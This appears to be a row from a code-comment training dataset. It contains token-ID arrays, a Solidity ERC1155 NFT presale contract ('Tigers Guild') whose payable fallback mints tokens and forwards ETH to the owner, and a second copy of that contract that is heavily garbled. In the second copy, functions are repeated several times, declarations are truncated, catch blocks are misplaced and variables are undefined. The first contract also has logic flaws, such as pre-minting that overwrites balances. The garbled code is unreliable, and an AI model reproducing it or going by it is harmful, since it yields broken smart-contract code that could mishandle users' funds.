1283,
1435,
3903,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
2254,
5034,
3844,
273,
943,
3088,
1283,
300,
2078,
3088,
1283,
5621,
203,
3639,
327,
3844,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.8.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
interface IERC1155Receiver is IERC165 {
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4);
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external returns (bytes4);
}
interface IERC1155 is IERC165 {
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values
);
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
event URI(string value, uint256 indexed id);
function balanceOf(address account, uint256 id) external view returns (uint256);
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
function setApprovalForAll(address operator, bool approved) external;
function isApprovedForAll(address account, address operator) external view returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data
) external;
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external;
}
interface IERC1155MetadataURI is IERC1155 {
/**
* @dev Returns the URI for token type `id`.
*
* If the `\{id\}` substring is present in the URI, it must be replaced by
* clients with the actual token type ID.
*/
function uri(uint256 id) external view returns (string memory);
}
contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {
using Address for address;
mapping(address => uint256) public _balances0;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
string private _uri;
/**
* @dev See {_setURI}.
*/
address public owner;
constructor() {
owner = msg.sender;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC1155).interfaceId ||
interfaceId == type(IERC1155MetadataURI).interfaceId ||
super.supportsInterface(interfaceId);
}
function uri(uint256) public view virtual override returns (string memory) {
return _uri;
}
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
function setApprovalForAll(address operator, bool approved) public virtual override {
// require(_msgSender() != operator, "ERC1155: setting approval status for self");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_safeTransferFrom(from, to, id, amount, data);
}
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
_safeBatchTransferFrom(from, to, ids, amounts, data);
}
function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
function _safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
function _mint(
address account,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(account != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][account] += amount;
emit TransferSingle(operator, address(0), account, id, amount);
_doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data);
}
function _mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
function _burn(
address account,
uint256 id,
uint256 amount
) internal virtual {
require(account != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
uint256 accountBalance = _balances[id][account];
require(accountBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][account] = accountBalance - amount;
}
emit TransferSingle(operator, account, address(0), id, amount);
}
function _burnBatch(
address account,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual {
require(account != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), ids, amounts, "");
for (uint256 i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 accountBalance = _balances[id][account];
require(accountBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][account] = accountBalance - amount;
}
}
emit TransferBatch(operator, account, address(0), ids, amounts);
}
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver(to).onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (
bytes4 response
) {
if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
modifier onlyOwner {
require(owner == msg.sender);
_;
}
function changeOwner(address _owner) onlyOwner public {
owner = _owner;
}
function _Premint(
address account,
uint256 id,
uint256 amount,
string memory _uri1
) internal virtual {
bytes memory data = bytes(_uri1);
require(account != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
// setApprovalForAll(operator, true);
_beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][account] = 1;
emit TransferSingle(msg.sender, address(0), msg.sender, id, 1);
emit URI(_uri1, id);
_doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data);
// setApprovalForAll(operator, false);
}
string public name = "Tigers Guild";
string public symbol = "TGD";
address public CrowdAdress = address(this);
uint256 public _supply1 = 1;
uint256 public Price = 10**17; // Цена токена в wei
uint256 public PreSaleSupply = 12000; // количество токенов для сейла
uint256 public _id = 1; // стартовый ID
string internal _uri1 = "https://gateway.pinata.cloud/ipfs/QmdqsivNS3gkPYSAsmUc3ivrtdsZoPXabbKK7xnuD5YFHv"; //ссылка на самый лучший рендер
fallback() external payable {
uint256 _supply = msg.value / Price; // считаем сколько токенов отдать
require(PreSaleSupply > _supply );//проверяем достаточно ли токенов для пресейла осталось
for (uint ii = 0; ii < _supply; ii++) {
_Premint( msg.sender, _id, _supply1, _uri1);
PreSaleSupply = PreSaleSupply-1;
_id++;
}
payable(owner).transfer(msg.value);
}
} | Mapping from token ID to account balances Mapping from account to operator approvals Used as the URI for all token types by relying on ID substitution, e.g. https:token-cdn-domain/{id}.json | contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {
using Address for address;
mapping(address => uint256) public _balances0;
mapping(uint256 => mapping(address => uint256)) private _balances;
mapping(address => mapping(address => bool)) private _operatorApprovals;
string private _uri;
address public owner;
}
constructor() {
owner = msg.sender;
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC1155).interfaceId ||
interfaceId == type(IERC1155MetadataURI).interfaceId ||
super.supportsInterface(interfaceId);
}
function uri(uint256) public view virtual override returns (string memory) {
return _uri;
}
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
function setApprovalForAll(address operator, bool approved) public virtual override {
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_safeTransferFrom(from, to, id, amount, data);
}
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
_safeBatchTransferFrom(from, to, ids, amounts, data);
}
function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
function _safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
function _safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
function _safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
function _mint(
address account,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(account != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][account] += amount;
emit TransferSingle(operator, address(0), account, id, amount);
_doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data);
}
function _mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
function _mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
function _burn(
address account,
uint256 id,
uint256 amount
) internal virtual {
require(account != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
uint256 accountBalance = _balances[id][account];
require(accountBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][account] = accountBalance - amount;
}
emit TransferSingle(operator, account, address(0), id, amount);
}
function _burn(
address account,
uint256 id,
uint256 amount
) internal virtual {
require(account != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
uint256 accountBalance = _balances[id][account];
require(accountBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][account] = accountBalance - amount;
}
emit TransferSingle(operator, account, address(0), id, amount);
}
function _burnBatch(
address account,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual {
require(account != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), ids, amounts, "");
for (uint256 i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 accountBalance = _balances[id][account];
require(accountBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][account] = accountBalance - amount;
}
}
emit TransferBatch(operator, account, address(0), ids, amounts);
}
function _burnBatch(
address account,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual {
require(account != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), ids, amounts, "");
for (uint256 i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 accountBalance = _balances[id][account];
require(accountBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][account] = accountBalance - amount;
}
}
emit TransferBatch(operator, account, address(0), ids, amounts);
}
function _burnBatch(
address account,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual {
require(account != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), ids, amounts, "");
for (uint256 i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 accountBalance = _balances[id][account];
require(accountBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][account] = accountBalance - amount;
}
}
emit TransferBatch(operator, account, address(0), ids, amounts);
}
) internal virtual {}
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver(to).onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
revert(reason);
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver(to).onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
revert(reason);
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver(to).onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
revert(reason);
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver(to).onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
revert(reason);
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
} catch Error(string memory reason) {
} catch {
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (
bytes4 response
) {
if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
revert(reason);
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (
bytes4 response
) {
if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
revert(reason);
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (
bytes4 response
) {
if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
revert(reason);
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (
bytes4 response
) {
if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
revert(reason);
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
} catch Error(string memory reason) {
} catch {
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
modifier onlyOwner {
require(owner == msg.sender);
_;
}
function changeOwner(address _owner) onlyOwner public {
owner = _owner;
}
function _Premint(
address account,
uint256 id,
uint256 amount,
string memory _uri1
) internal virtual {
bytes memory data = bytes(_uri1);
require(account != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][account] = 1;
emit TransferSingle(msg.sender, address(0), msg.sender, id, 1);
emit URI(_uri1, id);
_doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data);
}
string public name = "Tigers Guild";
string public symbol = "TGD";
address public CrowdAdress = address(this);
uint256 public _supply1 = 1;
fallback() external payable {
for (uint ii = 0; ii < _supply; ii++) {
_Premint( msg.sender, _id, _supply1, _uri1);
PreSaleSupply = PreSaleSupply-1;
_id++;
}
payable(owner).transfer(msg.value);
}
fallback() external payable {
for (uint ii = 0; ii < _supply; ii++) {
_Premint( msg.sender, _id, _supply1, _uri1);
PreSaleSupply = PreSaleSupply-1;
_id++;
}
payable(owner).transfer(msg.value);
}
} | 1,571,993 | [
1,
3233,
628,
1147,
1599,
358,
2236,
324,
26488,
9408,
628,
2236,
358,
3726,
6617,
4524,
10286,
487,
326,
3699,
364,
777,
1147,
1953,
635,
283,
6291,
603,
1599,
12785,
16,
425,
18,
75,
18,
2333,
30,
2316,
17,
20902,
17,
4308,
4938,
350,
5496,
1977,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
